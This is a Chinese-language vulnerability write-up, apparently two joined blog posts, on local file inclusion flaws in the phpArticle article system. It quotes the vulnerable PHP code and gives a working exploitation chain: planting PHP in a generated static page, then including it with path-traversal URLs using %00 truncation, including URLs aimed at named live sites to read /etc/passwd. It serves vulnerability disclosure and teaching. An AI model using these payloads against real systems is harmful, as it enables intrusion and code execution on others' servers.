phpArticle是一个新闻发布系统,最近我学习php有了一段时间,在找网上的代码研究学习的时候,看了看,发现了phpArticle2.06版本里有本地文件包含
漏洞,因为找不到最新的phpArticle3下载,就没有测试。(刚又找了下,网上能下的最新的2.1版本也有此
漏洞)
漏洞所在文件是count_bbs.php里
CODE:
//require "admin/config.php";
if($_GET['sys'])
$loadsystem_suffix=$_GET['sys'];
else $loadsystem_suffix='_bbs';
require "admin/loadsystem/config".$loadsystem_suffix.".php";
require "admin/class/mysql.php";
require "admin/loadsystem/dbrelation".$loadsystem_suffix.".php";
$debug=1;
$DB_bbs = new DB_MySQL;
这段代码里对提交的sys变量没做检查,就直接包含为admin/loadsystem/目录下的一个文件了,所以我们可以提交自己构造的sys变量,使count_bbs.php包含我们想包含的文件,但是由于变量$loadsystem_suffix前已经有了路径,所以我们不能包含远程文件了,但是可以包含本地任意文件,并且做为php文件来解析,这样也不错了。
现在就要上传php小马了,但是这里上传图片我们并不能得到图片的原始地址,只能通过php文件来调用查看,看来上传文件不大可能了,但是,我们发现发表的文章都会生成静态页面,我们可以把php文件写到静态html页面里,再本地包含,就能执行代码了。
发表一个文章,在编辑文章里选择查看html代码模式,写入<?phpinfo();?>,然后提交,等生成静态页面后,我们找到那个静态页面,就会发现我们的代码保存在html代码里,比如我本地测试为D:\usr\vhosts\localhost\www\phpArticle2\htmldata\1\2006_12\22336_1.html,然后本地包含
http://localhost/phpArticle2/count_bbs.php?sys=/../../../htmldata\1\2006_12\22336_1.html%00这里用到的是php的%00
漏洞,php在%00处截断代码,不再往后执行,不然就会变成为包含22336_1.html.php这个文件,执行后就能看到了php信息了,本地包含成功另一个本地包含Author:Zizzy
phparticle一直是一个很好的文章系统,我从前都是拿phparticle的代码来学习php,而且它的代码也一直以
安全著称,尽管发现的是个很普通的
漏洞,但能有幸发现pa
漏洞还是很开心的。
首先看phparticle的index.php代码
CODE:
<?php
error_reporting(7);
require "global.php";
if(!$_GET['mod']){
$_GET['mod'] = 'index';
}
if(!include "modules/default/$_GET[mod].php"){
echo "error:data/modules/default/$_GET[mod].php";exit;
}
?>
很明显$_GET[mod]这个变量没有任何限制就被包含进来,那么理所当然的就形成了包含,而且限制了在modules/default文件夹下,就成了一个典型的php本地包含
漏洞。
漏洞相关演示:
QUOTE:
http://www.utspeed.com/index.php?mod=../../../../../../../etc/passwd%00http://www.phparticle.net/index.php?mod=../../../../../../../etc/passwd%00